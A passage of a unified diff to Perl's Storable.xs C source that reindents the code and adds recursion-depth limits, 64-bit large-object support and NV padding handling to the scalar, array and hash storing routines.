+        PUTMARK(is_weak ? SX_WEAKREF : SX_REF);
 
-	return store(aTHX_ cxt, sv);
+    TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth,
+             PTR2UV(cxt->recur_sv)));
+    if (cxt->entry && cxt->recur_sv == sv) {
+        if (RECURSION_TOO_DEEP()) {
+#if PERL_VERSION < 15
+            cleanup_recursive_data(aTHX_ (SV*)sv);
+#endif
+            CROAK((MAX_DEPTH_ERROR));
+        }
+    }
+    cxt->recur_sv = sv;
+
+    retval = store(aTHX_ cxt, sv);
+    if (cxt->entry && cxt->recur_sv == sv && cxt->recur_depth > 0) {
+        TRACEME(("recur_depth --%" IVdf, cxt->recur_depth));
+        --cxt->recur_depth;
+    }
+    return retval;
 }
 
 /*
@@ -2047,220 +2395,230 @@
  *
  * If integer or double, the layout is SX_INTEGER <data> or SX_DOUBLE <data>.
  * Small integers (within [-127, +127]) are stored as SX_BYTE <byte>.
+ *
+ * For huge strings use SX_LOBJECT SX_type SX_U64 <type> <data>
  */
 static int store_scalar(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	IV iv;
-	char *pv;
-	STRLEN len;
-	U32 flags = SvFLAGS(sv);			/* "cc -O" may put it in register */
+    IV iv;
+    char *pv;
+    STRLEN len;
+    U32 flags = SvFLAGS(sv);	/* "cc -O" may put it in register */
 
-	TRACEME(("store_scalar (0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("store_scalar (0x%" UVxf ")", PTR2UV(sv)));
 
-	/*
-	 * For efficiency, break the SV encapsulation by peaking at the flags
-	 * directly without using the Perl macros to avoid dereferencing
-	 * sv->sv_flags each time we wish to check the flags.
-	 */
+    /*
+     * For efficiency, break the SV encapsulation by peaking at the flags
+     * directly without using the Perl macros to avoid dereferencing
+     * sv->sv_flags each time we wish to check the flags.
+     */
 
-	if (!(flags & SVf_OK)) {			/* !SvOK(sv) */
-		if (sv == &PL_sv_undef) {
-			TRACEME(("immortal undef"));
-			PUTMARK(SX_SV_UNDEF);
-		} else {
-			TRACEME(("undef at 0x%" UVxf, PTR2UV(sv)));
-			PUTMARK(SX_UNDEF);
-		}
-		return 0;
-	}
+    if (!(flags & SVf_OK)) {			/* !SvOK(sv) */
+        if (sv == &PL_sv_undef) {
+            TRACEME(("immortal undef"));
+            PUTMARK(SX_SV_UNDEF);
+        } else {
+            TRACEME(("undef at 0x%" UVxf, PTR2UV(sv)));
+            PUTMARK(SX_UNDEF);
+        }
+        return 0;
+    }
 
-	/*
-	 * Always store the string representation of a scalar if it exists.
-	 * Gisle Aas provided me with this test case, better than a long speach:
-	 *
-	 *  perl -MDevel::Peek -le '$a="abc"; $a+0; Dump($a)'
-	 *  SV = PVNV(0x80c8520)
-	 *       REFCNT = 1
-	 *       FLAGS = (NOK,POK,pNOK,pPOK)
-	 *       IV = 0
-	 *       NV = 0
-	 *       PV = 0x80c83d0 "abc"\0
-	 *       CUR = 3
-	 *       LEN = 4
-	 *
-	 * Write SX_SCALAR, length, followed by the actual data.
-	 *
-	 * Otherwise, write an SX_BYTE, SX_INTEGER or an SX_DOUBLE as
-	 * appropriate, followed by the actual (binary) data. A double
-	 * is written as a string if network order, for portability.
-	 *
-	 * NOTE: instead of using SvNOK(sv), we test for SvNOKp(sv).
-	 * The reason is that when the scalar value is tainted, the SvNOK(sv)
-	 * value is false.
-	 *
-	 * The test for a read-only scalar with both POK and NOK set is meant
-	 * to quickly detect &PL_sv_yes and &PL_sv_no without having to pay the
-	 * address comparison for each scalar we store.
-	 */
+    /*
+     * Always store the string representation of a scalar if it exists.
+     * Gisle Aas provided me with this test case, better than a long speach:
+     *
+     *  perl -MDevel::Peek -le '$a="abc"; $a+0; Dump($a)'
+     *  SV = PVNV(0x80c8520)
+     *       REFCNT = 1
+     *       FLAGS = (NOK,POK,pNOK,pPOK)
+     *       IV = 0
+     *       NV = 0
+     *       PV = 0x80c83d0 "abc"\0
+     *       CUR = 3
+     *       LEN = 4
+     *
+     * Write SX_SCALAR, length, followed by the actual data.
+     *
+     * Otherwise, write an SX_BYTE, SX_INTEGER or an SX_DOUBLE as
+     * appropriate, followed by the actual (binary) data. A double
+     * is written as a string if network order, for portability.
+     *
+     * NOTE: instead of using SvNOK(sv), we test for SvNOKp(sv).
+     * The reason is that when the scalar value is tainted, the SvNOK(sv)
+     * value is false.
+     *
+     * The test for a read-only scalar with both POK and NOK set is meant
+     * to quickly detect &PL_sv_yes and &PL_sv_no without having to pay the
+     * address comparison for each scalar we store.
+     */
 
 #define SV_MAYBE_IMMORTAL (SVf_READONLY|SVf_POK|SVf_NOK)
 
-	if ((flags & SV_MAYBE_IMMORTAL) == SV_MAYBE_IMMORTAL) {
-		if (sv == &PL_sv_yes) {
-			TRACEME(("immortal yes"));
-			PUTMARK(SX_SV_YES);
-		} else if (sv == &PL_sv_no) {
-			TRACEME(("immortal no"));
-			PUTMARK(SX_SV_NO);
-		} else {
-			pv = SvPV(sv, len);			/* We know it's SvPOK */
-			goto string;				/* Share code below */
-		}
-	} else if (flags & SVf_POK) {
-            /* public string - go direct to string read.  */
-            goto string_readlen;
-        } else if (
+    if ((flags & SV_MAYBE_IMMORTAL) == SV_MAYBE_IMMORTAL) {
+        if (sv == &PL_sv_yes) {
+            TRACEME(("immortal yes"));
+            PUTMARK(SX_SV_YES);
+        } else if (sv == &PL_sv_no) {
+            TRACEME(("immortal no"));
+            PUTMARK(SX_SV_NO);
+        } else {
+            pv = SvPV(sv, len);		/* We know it's SvPOK */
+            goto string;			/* Share code below */
+        }
+    } else if (flags & SVf_POK) {
+        /* public string - go direct to string read.  */
+        goto string_readlen;
+    } else if (
 #if (PATCHLEVEL <= 6)
-            /* For 5.6 and earlier NV flag trumps IV flag, so only use integer
-               direct if NV flag is off.  */
-            (flags & (SVf_NOK | SVf_IOK)) == SVf_IOK
+               /* For 5.6 and earlier NV flag trumps IV flag, so only use integer
+                  direct if NV flag is off.  */
+               (flags & (SVf_NOK | SVf_IOK)) == SVf_IOK
 #else
-            /* 5.7 rules are that if IV public flag is set, IV value is as
-               good, if not better, than NV value.  */
-            flags & SVf_IOK
+               /* 5.7 rules are that if IV public flag is set, IV value is as
+                  good, if not better, than NV value.  */
+               flags & SVf_IOK
 #endif
-            ) {
-            iv = SvIV(sv);
-            /*
-             * Will come here from below with iv set if double is an integer.
-             */
-          integer:
+               ) {
+        iv = SvIV(sv);
+        /*
+         * Will come here from below with iv set if double is an integer.
+         */
+    integer:
 
-            /* Sorry. This isn't in 5.005_56 (IIRC) or earlier.  */
+        /* Sorry. This isn't in 5.005_56 (IIRC) or earlier.  */
 #ifdef SVf_IVisUV
-            /* Need to do this out here, else 0xFFFFFFFF becomes iv of -1
-             * (for example) and that ends up in the optimised small integer
-             * case. 
-             */
-            if ((flags & SVf_IVisUV) && SvUV(sv) > IV_MAX) {
-                TRACEME(("large unsigned integer as string, value = %" UVuf,
-                        SvUV(sv)));
-                goto string_readlen;
-            }
+        /* Need to do this out here, else 0xFFFFFFFF becomes iv of -1
+         * (for example) and that ends up in the optimised small integer
+         * case. 
+         */
+        if ((flags & SVf_IVisUV) && SvUV(sv) > IV_MAX) {
+            TRACEME(("large unsigned integer as string, value = %" UVuf,
+                     SvUV(sv)));
+            goto string_readlen;
+        }
 #endif
-            /*
-             * Optimize small integers into a single byte, otherwise store as
-             * a real integer (converted into network order if they asked).
-             */
+        /*
+         * Optimize small integers into a single byte, otherwise store as
+         * a real integer (converted into network order if they asked).
+         */
 
-            if (iv >= -128 && iv <= 127) {
-                unsigned char siv = (unsigned char) (iv + 128);	/* [0,255] */
-                PUTMARK(SX_BYTE);
-                PUTMARK(siv);
-                TRACEME(("small integer stored as %d", siv));
-            } else if (cxt->netorder) {
+        if (iv >= -128 && iv <= 127) {
+            unsigned char siv = (unsigned char) (iv + 128); /* [0,255] */
+            PUTMARK(SX_BYTE);
+            PUTMARK(siv);
+            TRACEME(("small integer stored as %d", (int)siv));
+        } else if (cxt->netorder) {
 #ifndef HAS_HTONL
-                TRACEME(("no htonl, fall back to string for integer"));
-                goto string_readlen;
+            TRACEME(("no htonl, fall back to string for integer"));
+            goto string_readlen;
 #else
-                I32 niv;
+            I32 niv;
 
 
 #if IVSIZE > 4
-                if (
+            if (
 #ifdef SVf_IVisUV
-                    /* Sorry. This isn't in 5.005_56 (IIRC) or earlier.  */
-                    ((flags & SVf_IVisUV) && SvUV(sv) > (UV)0x7FFFFFFF) ||
+                /* Sorry. This isn't in 5.005_56 (IIRC) or earlier.  */
+                ((flags & SVf_IVisUV) && SvUV(sv) > (UV)0x7FFFFFFF) ||
 #endif
-                    (iv > (IV)0x7FFFFFFF) || (iv < -(IV)0x80000000)) {
-                    /* Bigger than 32 bits.  */
-                    TRACEME(("large network order integer as string, value = %"
-                             IVdf, iv));
-                    goto string_readlen;
-                }
+                (iv > (IV)0x7FFFFFFF) || (iv < -(IV)0x80000000)) {
+                /* Bigger than 32 bits.  */
+                TRACEME(("large network order integer as string, value = %" IVdf, iv));
+                goto string_readlen;
+            }
 #endif
 
-                niv = (I32) htonl((I32) iv);
-                TRACEME(("using network order"));
-                PUTMARK(SX_NETINT);
-                WRITE_I32(niv);
+            niv = (I32) htonl((I32) iv);
+            TRACEME(("using network order"));
+            PUTMARK(SX_NETINT);
+            WRITE_I32(niv);
 #endif
-            } else {
-                PUTMARK(SX_INTEGER);
-                WRITE(&iv, sizeof(iv));
-            }
-            
-            TRACEME(("ok (integer 0x%" UVxf ", value = %" IVdf ")",
-                     PTR2UV(sv), iv));
-	} else if (flags & SVf_NOK) {
-            NV nv;
+        } else {
+            PUTMARK(SX_INTEGER);
+            WRITE(&iv, sizeof(iv));
+        }
+
+        TRACEME(("ok (integer 0x%" UVxf ", value = %" IVdf ")", PTR2UV(sv), iv));
+    } else if (flags & SVf_NOK) {
+        NV_bytes nv;
+#ifdef NV_CLEAR
+        /* if we can't tell if there's padding, clear the whole NV and hope the
+           compiler leaves the padding alone
+        */
+        Zero(&nv, 1, NV_bytes);
+#endif
 #if (PATCHLEVEL <= 6)
-            nv = SvNV(sv);
-            /*
-             * Watch for number being an integer in disguise.
-             */
-            if (nv == (NV) (iv = I_V(nv))) {
-                TRACEME(("double %" NVff " is actually integer %" IVdf, nv, iv));
-                goto integer;		/* Share code above */
-            }
+        nv.nv = SvNV(sv);
+        /*
+         * Watch for number being an integer in disguise.
+         */
+        if (nv.nv == (NV) (iv = I_V(nv.nv))) {
+            TRACEME(("double %" NVff " is actually integer %" IVdf, nv, iv));
+            goto integer;		/* Share code above */
+        }
 #else
 
-            SvIV_please(sv);
-	    if (SvIOK_notUV(sv)) {
-                iv = SvIV(sv);
-                goto integer;		/* Share code above */
-            }
-            nv = SvNV(sv);
+        SvIV_please(sv);
+        if (SvIOK_notUV(sv)) {
+            iv = SvIV(sv);
+            goto integer;		/* Share code above */
+        }
+        nv.nv = SvNV(sv);
 #endif
 
-            if (cxt->netorder) {
-                TRACEME(("double %" NVff " stored as string", nv));
-                goto string_readlen;		/* Share code below */
-            }
+        if (cxt->netorder) {
+            TRACEME(("double %" NVff " stored as string", nv.nv));
+            goto string_readlen;		/* Share code below */
+        }
+#if NV_PADDING
+        Zero(nv.bytes + NVSIZE - NV_PADDING, NV_PADDING, char);
+#endif
 
-            PUTMARK(SX_DOUBLE);
-            WRITE(&nv, sizeof(nv));
+        PUTMARK(SX_DOUBLE);
+        WRITE(&nv, sizeof(nv));
 
-            TRACEME(("ok (double 0x%" UVxf ", value = %" NVff ")",
-                     PTR2UV(sv), nv));
+        TRACEME(("ok (double 0x%" UVxf ", value = %" NVff ")", PTR2UV(sv), nv.nv));
 
-	} else if (flags & (SVp_POK | SVp_NOK | SVp_IOK)) {
+    } else if (flags & (SVp_POK | SVp_NOK | SVp_IOK)) {
 #ifdef SvVOK
-	    MAGIC *mg;
+        MAGIC *mg;
 #endif
-            I32 wlen; /* For 64-bit machines */
+        UV wlen; /* For 64-bit machines */
 
-          string_readlen:
-            pv = SvPV(sv, len);
+    string_readlen:
+        pv = SvPV(sv, len);
 
-            /*
-             * Will come here from above  if it was readonly, POK and NOK but
-             * neither &PL_sv_yes nor &PL_sv_no.
-             */
-          string:
+        /*
+         * Will come here from above  if it was readonly, POK and NOK but
+         * neither &PL_sv_yes nor &PL_sv_no.
+         */
+    string:
 
 #ifdef SvVOK
-            if (SvMAGICAL(sv) && (mg = mg_find(sv, 'V'))) {
-                /* The macro passes this by address, not value, and a lot of
-                   called code assumes that it's 32 bits without checking.  */
-                const int len = mg->mg_len;
-                STORE_PV_LEN((const char *)mg->mg_ptr,
-                             len, SX_VSTRING, SX_LVSTRING);
-            }
+        if (SvMAGICAL(sv) && (mg = mg_find(sv, 'V'))) {
+            /* The macro passes this by address, not value, and a lot of
+               called code assumes that it's 32 bits without checking.  */
+            const SSize_t len = mg->mg_len;
+            STORE_PV_LEN((const char *)mg->mg_ptr,
+                         len, SX_VSTRING, SX_LVSTRING);
+        }
 #endif
 
-            wlen = (I32) len; /* WLEN via STORE_SCALAR expects I32 */
-            if (SvUTF8 (sv))
-                STORE_UTF8STR(pv, wlen);
-            else
-                STORE_SCALAR(pv, wlen);
-            TRACEME(("ok (scalar 0x%" UVxf " '%s', length = %" IVdf ")",
-                     PTR2UV(sv), SvPVX(sv), (IV)len));
-	} else
-            CROAK(("Can't determine type of %s(0x%" UVxf ")",
-                   sv_reftype(sv, FALSE),
-                   PTR2UV(sv)));
-        return 0;		/* Ok, no recursion on scalars */
+        wlen = (Size_t)len;
+        if (SvUTF8 (sv))
+            STORE_UTF8STR(pv, wlen);
+        else
+            STORE_SCALAR(pv, wlen);
+        TRACEME(("ok (scalar 0x%" UVxf " '%s', length = %" UVuf ")",
+                 PTR2UV(sv), len >= 2048 ? "<string too long>" : SvPVX(sv),
+                 (UV)len));
+    } else {
+        CROAK(("Can't determine type of %s(0x%" UVxf ")",
+               sv_reftype(sv, FALSE),
+               PTR2UV(sv)));
+    }
+    return 0;		/* Ok, no recursion on scalars */
 }
 
 /*
@@ -2273,53 +2631,83 @@
  */
 static int store_array(pTHX_ stcxt_t *cxt, AV *av)
 {
-	SV **sav;
-	I32 len = av_len(av) + 1;
-	I32 i;
-	int ret;
+    SV **sav;
+    UV len = av_len(av) + 1;
+    UV i;
+    int ret;
 
-	TRACEME(("store_array (0x%" UVxf ")", PTR2UV(av)));
+    TRACEME(("store_array (0x%" UVxf ")", PTR2UV(av)));
 
-	/* 
-	 * Signal array by emitting SX_ARRAY, followed by the array length.
-	 */
+#ifdef HAS_U64
+    if (len > 0x7fffffffu) {
+        /*
+         * Large array by emitting SX_LOBJECT 1 U64 data
+         */
+        PUTMARK(SX_LOBJECT);
+        PUTMARK(SX_ARRAY);
+        W64LEN(len);
+        TRACEME(("lobject size = %lu", (unsigned long)len));
+    } else
+#endif
+    {
+        /*
+         * Normal array by emitting SX_ARRAY, followed by the array length.
+         */
+        I32 l = (I32)len;
+        PUTMARK(SX_ARRAY);
+        WLEN(l);
+        TRACEME(("size = %d", (int)l));
+    }
 
-	PUTMARK(SX_ARRAY);
-	WLEN(len);
-	TRACEME(("size = %d", len));
+    TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth,
+             PTR2UV(cxt->recur_sv)));
+    if (cxt->entry && cxt->recur_sv == (SV*)av) {
+        if (RECURSION_TOO_DEEP()) {
+            /* with <= 5.14 it recurses in the cleanup also, needing 2x stack size */
+#if PERL_VERSION < 15
+            cleanup_recursive_data(aTHX_ (SV*)av);
+#endif
+            CROAK((MAX_DEPTH_ERROR));
+        }
+    }
+    cxt->recur_sv = (SV*)av;
 
-	/*
-	 * Now store each item recursively.
-	 */
+    /*
+     * Now store each item recursively.
+     */
 
-	for (i = 0; i < len; i++) {
-		sav = av_fetch(av, i, 0);
-		if (!sav) {
-			TRACEME(("(#%d) nonexistent item", i));
-			STORE_SV_UNDEF();
-			continue;
-		}
+    for (i = 0; i < len; i++) {
+        sav = av_fetch(av, i, 0);
+        if (!sav) {
+            TRACEME(("(#%d) nonexistent item", (int)i));
+            STORE_SV_UNDEF();
+            continue;
+        }
 #if PATCHLEVEL >= 19
-		/* In 5.19.3 and up, &PL_sv_undef can actually be stored in
-		 * an array; it no longer represents nonexistent elements.
-		 * Historically, we have used SX_SV_UNDEF in arrays for
-		 * nonexistent elements, so we use SX_SVUNDEF_ELEM for
-		 * &PL_sv_undef itself. */
-		if (*sav == &PL_sv_undef) {
-			TRACEME(("(#%d) undef item", i));
-			cxt->tagnum++;
-			PUTMARK(SX_SVUNDEF_ELEM);
-			continue;
-		}
-#endif			
-		TRACEME(("(#%d) item", i));
-		if ((ret = store(aTHX_ cxt, *sav)))	/* Extra () for -Wall, grr... */
-			return ret;
-	}
+        /* In 5.19.3 and up, &PL_sv_undef can actually be stored in
+         * an array; it no longer represents nonexistent elements.
+         * Historically, we have used SX_SV_UNDEF in arrays for
+         * nonexistent elements, so we use SX_SVUNDEF_ELEM for
+         * &PL_sv_undef itself. */
+        if (*sav == &PL_sv_undef) {
+            TRACEME(("(#%d) undef item", (int)i));
+            cxt->tagnum++;
+            PUTMARK(SX_SVUNDEF_ELEM);
+            continue;
+        }
+#endif
+        TRACEME(("(#%d) item", (int)i));
+        if ((ret = store(aTHX_ cxt, *sav)))	/* Extra () for -Wall */
+            return ret;
+    }
 
-	TRACEME(("ok (array)"));
+    if (cxt->entry && cxt->recur_sv == (SV*)av && cxt->recur_depth > 0) {
+        TRACEME(("recur_depth --%" IVdf, cxt->recur_depth));
+        --cxt->recur_depth;
+    }
+    TRACEME(("ok (array)"));
 
-	return 0;
+    return 0;
 }
 
 
@@ -2335,9 +2723,9 @@
 sortcmp(const void *a, const void *b)
 {
 #if defined(USE_ITHREADS)
-        dTHX;
+    dTHX;
 #endif /* USE_ITHREADS */
-        return sv_cmp(*(SV * const *) a, *(SV * const *) b);
+    return sv_cmp(*(SV * const *) a, *(SV * const *) b);
 }
 
 #endif /* PATCHLEVEL <= 6 */
@@ -2366,327 +2754,514 @@
  */
 static int store_hash(pTHX_ stcxt_t *cxt, HV *hv)
 {
-	dVAR;
-	I32 len = HvTOTALKEYS(hv);
-	I32 i;
-	int ret = 0;
-	I32 riter;
-	HE *eiter;
-        int flagged_hash = ((SvREADONLY(hv)
+    dVAR;
+    UV len = (UV)HvTOTALKEYS(hv);
+    Size_t i;
+    int ret = 0;
+    I32 riter;
+    HE *eiter;
+    int flagged_hash = ((SvREADONLY(hv)
 #ifdef HAS_HASH_KEY_FLAGS
-                             || HvHASKFLAGS(hv)
+                         || HvHASKFLAGS(hv)
 #endif
-                                ) ? 1 : 0);
-        unsigned char hash_flags = (SvREADONLY(hv) ? SHV_RESTRICTED : 0);
+                         ) ? 1 : 0);
+    unsigned char hash_flags = (SvREADONLY(hv) ? SHV_RESTRICTED : 0);
 
+    /* 
+     * Signal hash by emitting SX_HASH, followed by the table length.
+     * Max number of keys per perl version:
+     *    IV            - 5.12
+     *    STRLEN  5.14  - 5.24   (size_t: U32/U64)
+     *    SSize_t 5.22c - 5.24c  (I32/I64)
+     *    U32     5.25c -
+     */
+
+    if (len > 0x7fffffffu) { /* keys > I32_MAX */
+        /* 
+         * Large hash: SX_LOBJECT type hashflags? U64 data
+         *
+         * Stupid limitation:
+         * Note that perl5 can store more than 2G keys, but only iterate
+         * over 2G max. (cperl can)
+         * We need to manually iterate over it then, unsorted.
+         * But until perl itself cannot do that, skip that.
+         */
+        TRACEME(("lobject size = %lu", (unsigned long)len));
+#ifdef HAS_U64
+        PUTMARK(SX_LOBJECT);
         if (flagged_hash) {
-            /* needs int cast for C++ compilers, doesn't it?  */
-            TRACEME(("store_hash (0x%" UVxf ") (flags %x)", PTR2UV(hv),
-                     (int) hash_flags));
+            PUTMARK(SX_FLAG_HASH);
+            PUTMARK(hash_flags);
         } else {
-            TRACEME(("store_hash (0x%" UVxf ")", PTR2UV(hv)));
+            PUTMARK(SX_HASH);
         }
-
-	/* 
-	 * Signal hash by emitting SX_HASH, followed by the table length.
-	 */
-
+        W64LEN(len);
+        return store_lhash(aTHX_ cxt, hv, hash_flags);
+#else
+        /* <5.12 you could store larger hashes, but cannot iterate over them.
+           So we reject them, it's a bug. */
+        CROAK(("Cannot store large objects on a 32bit system"));
+#endif
+    } else {
+        I32 l = (I32)len;
         if (flagged_hash) {
+            TRACEME(("store_hash (0x%" UVxf ") (flags %x)", PTR2UV(hv),
+                     (unsigned int)hash_flags));
             PUTMARK(SX_FLAG_HASH);
             PUTMARK(hash_flags);
         } else {
+            TRACEME(("store_hash (0x%" UVxf ")", PTR2UV(hv)));
             PUTMARK(SX_HASH);
         }
-	WLEN(len);
-	TRACEME(("size = %d", len));
+        WLEN(l);
+        TRACEME(("size = %d, used = %d", (int)l, (int)HvUSEDKEYS(hv)));
+    }
 
-	/*
-	 * Save possible iteration state via each() on that table.
-	 */
+    TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth,
+             PTR2UV(cxt->recur_sv)));
+    if (cxt->entry && cxt->recur_sv == (SV*)hv) {
+        if (RECURSION_TOO_DEEP_HASH()) {
+#if PERL_VERSION < 15
+            cleanup_recursive_data(aTHX_ (SV*)hv);
+#endif
+            CROAK((MAX_DEPTH_ERROR));
+        }
+    }
+    cxt->recur_sv = (SV*)hv;
 
-	riter = HvRITER_get(hv);
-	eiter = HvEITER_get(hv);
-	hv_iterinit(hv);
+    /*
+     * Save possible iteration state via each() on that table.
+     *
+     * Note that perl as of 5.24 *can* store more than 2G keys, but *not*
+     * iterate over it.
+     * Lengths of hash keys are also limited to I32, which is good.
+     */
 
-	/*
-	 * Now store each item recursively.
-	 *
+    riter = HvRITER_get(hv);
+    eiter = HvEITER_get(hv);
+    hv_iterinit(hv);
+
+    /*
+     * Now store each item recursively.
+     *
      * If canonical is defined to some true value then store each
      * key/value pair in sorted order otherwise the order is random.
-	 * Canonical order is irrelevant when a deep clone operation is performed.
-	 *
-	 * Fetch the value from perl only once per store() operation, and only
-	 * when needed.
-	 */
+     * Canonical order is irrelevant when a deep clone operation is performed.
+     *
+     * Fetch the value from perl only once per store() operation, and only
+     * when needed.
+     */
 
-	if (
-		!(cxt->optype & ST_CLONE) && (cxt->canonical == 1 ||
-		(cxt->canonical < 0 && (cxt->canonical =
-			(SvTRUE(perl_get_sv("Storable::canonical", GV_ADD)) ? 1 : 0))))
+    if (
+        !(cxt->optype & ST_CLONE)
+        && (cxt->canonical == 1
+            || (cxt->canonical < 0
+                && (cxt->canonical =
+                    (SvTRUE(get_sv("Storable::canonical", GV_ADD))
+                     ? 1 : 0))))
 	) {
-		/*
-		 * Storing in order, sorted by key.
-		 * Run through the hash, building up an array of keys in a
-		 * mortal array, sort the array and then run through the
-		 * array.  
-		 */
+        /*
+         * Storing in order, sorted by key.
+         * Run through the hash, building up an array of keys in a
+         * mortal array, sort the array and then run through the
+         * array.
+         */
+        AV *av = newAV();
+        av_extend (av, len);
 
-		AV *av = newAV();
+        TRACEME(("using canonical order"));
 
-                /*av_extend (av, len);*/
-
-		TRACEME(("using canonical order"));
-
-		for (i = 0; i < len; i++) {
+        for (i = 0; i < len; i++) {
 #ifdef HAS_RESTRICTED_HASHES
-			HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS);
+            HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS);
 #else
-			HE *he = hv_iternext(hv);
+            HE *he = hv_iternext(hv);
 #endif
-			SV *key;
+            av_store(av, i, hv_iterkeysv(he));
+        }
 
-			if (!he)
-				CROAK(("Hash %p inconsistent - expected %d keys, %dth is NULL", hv, (int)len, (int)i));
-			key = hv_iterkeysv(he);
-			av_store(av, AvFILLp(av)+1, key);	/* av_push(), really */
-		}
-			
-		STORE_HASH_SORT;
+        STORE_HASH_SORT;
 
-		for (i = 0; i < len; i++) {
+        for (i = 0; i < len; i++) {
 #ifdef HAS_RESTRICTED_HASHES
-			int placeholders = (int)HvPLACEHOLDERS_get(hv);
+            int placeholders = (int)HvPLACEHOLDERS_get(hv);
 #endif
-                        unsigned char flags = 0;
-			char *keyval;
-			STRLEN keylen_tmp;
-                        I32 keylen;
-			SV *key = av_shift(av);
-			/* This will fail if key is a placeholder.
-			   Track how many placeholders we have, and error if we
-			   "see" too many.  */
-			HE *he  = hv_fetch_ent(hv, key, 0, 0);
-			SV *val;
+            unsigned char flags = 0;
+            char *keyval;
+            STRLEN keylen_tmp;
+            I32 keylen;
+            SV *key = av_shift(av);
+            /* This will fail if key is a placeholder.
+               Track how many placeholders we have, and error if we
+               "see" too many.  */
+            HE *he  = hv_fetch_ent(hv, key, 0, 0);
+            SV *val;
 
-			if (he) {
-				if (!(val =  HeVAL(he))) {
-					/* Internal error, not I/O error */
-					return 1;
-				}
-			} else {
+            if (he) {
+                if (!(val =  HeVAL(he))) {
+                    /* Internal error, not I/O error */
+                    return 1;
+                }
+            } else {
 #ifdef HAS_RESTRICTED_HASHES
-				/* Should be a placeholder.  */
-				if (placeholders-- < 0) {
-					/* This should not happen - number of
-					   retrieves should be identical to
-					   number of placeholders.  */
-			  		return 1;
-				}
-				/* Value is never needed, and PL_sv_undef is
-				   more space efficient to store.  */
-				val = &PL_sv_undef;
-				ASSERT (flags == 0,
-					("Flags not 0 but %d", flags));
-				flags = SHV_K_PLACEHOLDER;
+                /* Should be a placeholder.  */
+                if (placeholders-- < 0) {
+                    /* This should not happen - number of
+                       retrieves should be identical to
+                       number of placeholders.  */
+                    return 1;
+                }
+                /* Value is never needed, and PL_sv_undef is
+                   more space efficient to store.  */
+                val = &PL_sv_undef;
+                ASSERT (flags == 0,
+                        ("Flags not 0 but %d", (int)flags));
+                flags = SHV_K_PLACEHOLDER;
 #else
-				return 1;
+                return 1;
 #endif
-			}
-			
-			/*
-			 * Store value first.
-			 */
-			
-			TRACEME(("(#%d) value 0x%" UVxf, i, PTR2UV(val)));
+            }
 
-			if ((ret = store(aTHX_ cxt, val)))	/* Extra () for -Wall, grr... */
-				goto out;
+            /*
+             * Store value first.
+             */
 
-			/*
-			 * Write key string.
-			 * Keys are written after values to make sure retrieval
-			 * can be optimal in terms of memory usage, where keys are
-			 * read into a fixed unique buffer called kbuf.
-			 * See retrieve_hash() for details.
-			 */
-			 
-                        /* Implementation of restricted hashes isn't nicely
-                           abstracted:  */
-			if ((hash_flags & SHV_RESTRICTED)
-			 && SvTRULYREADONLY(val)) {
-				flags |= SHV_K_LOCKED;
-			}
+            TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val)));
 
-			keyval = SvPV(key, keylen_tmp);
-                        keylen = keylen_tmp;
+            if ((ret = store(aTHX_ cxt, val)))	/* Extra () for -Wall, grr... */
+                goto out;
+
+            /*
+             * Write key string.
+             * Keys are written after values to make sure retrieval
+             * can be optimal in terms of memory usage, where keys are
+             * read into a fixed unique buffer called kbuf.
+             * See retrieve_hash() for details.
+             */
+
+            /* Implementation of restricted hashes isn't nicely
+               abstracted:  */
+            if ((hash_flags & SHV_RESTRICTED)
+                && SvTRULYREADONLY(val)) {
+                flags |= SHV_K_LOCKED;
+            }
+
+            keyval = SvPV(key, keylen_tmp);
+            keylen = keylen_tmp;
 #ifdef HAS_UTF8_HASHES
-                        /* If you build without optimisation on pre 5.6
-                           then nothing spots that SvUTF8(key) is always 0,
-                           so the block isn't optimised away, at which point
-                           the linker dislikes the reference to
-                           bytes_from_utf8.  */
-			if (SvUTF8(key)) {
-                            const char *keysave = keyval;
-                            bool is_utf8 = TRUE;
+            /* If you build without optimisation on pre 5.6
+               then nothing spots that SvUTF8(key) is always 0,
+               so the block isn't optimised away, at which point
+               the linker dislikes the reference to
+               bytes_from_utf8.  */
+            if (SvUTF8(key)) {
+                const char *keysave = keyval;
+                bool is_utf8 = TRUE;
 
-                            /* Just casting the &klen to (STRLEN) won't work
-                               well if STRLEN and I32 are of different widths.
-                               --jhi */
-                            keyval = (char*)bytes_from_utf8((U8*)keyval,
-                                                            &keylen_tmp,
-                                                            &is_utf8);
+                /* Just casting the &klen to (STRLEN) won't work
+                   well if STRLEN and I32 are of different widths.
+                   --jhi */
+                keyval = (char*)bytes_from_utf8((U8*)keyval,
+                                                &keylen_tmp,
+                                                &is_utf8);
 
-                            /* If we were able to downgrade here, then than
-                               means that we have  a key which only had chars
-                               0-255, but was utf8 encoded.  */
+                /* If we were able to downgrade here, then than
+                   means that we have  a key which only had chars
+                   0-255, but was utf8 encoded.  */
 
-                            if (keyval != keysave) {
-                                keylen = keylen_tmp;
-                                flags |= SHV_K_WASUTF8;
-                            } else {
-                                /* keylen_tmp can't have changed, so no need
-                                   to assign back to keylen.  */
-                                flags |= SHV_K_UTF8;
-                            }
-                        }
+                if (keyval != keysave) {
+                    keylen = keylen_tmp;
+                    flags |= SHV_K_WASUTF8;
+                } else {
+                    /* keylen_tmp can't have changed, so no need
+                       to assign back to keylen.  */
+                    flags |= SHV_K_UTF8;
+                }
+            }
 #endif
 
-                        if (flagged_hash) {
-                            PUTMARK(flags);
-                            TRACEME(("(#%d) key '%s' flags %x %u", i, keyval, flags, *keyval));
-                        } else {
-                            /* This is a workaround for a bug in 5.8.0
-                               that causes the HEK_WASUTF8 flag to be
-                               set on an HEK without the hash being
-                               marked as having key flags. We just
-                               cross our fingers and drop the flag.
-                               AMS 20030901 */
-                            assert (flags == 0 || flags == SHV_K_WASUTF8);
-                            TRACEME(("(#%d) key '%s'", i, keyval));
-                        }
-			WLEN(keylen);
-			if (keylen)
-				WRITE(keyval, keylen);
-                        if (flags & SHV_K_WASUTF8)
-                            Safefree (keyval);
-		}
+            if (flagged_hash) {
+                PUTMARK(flags);
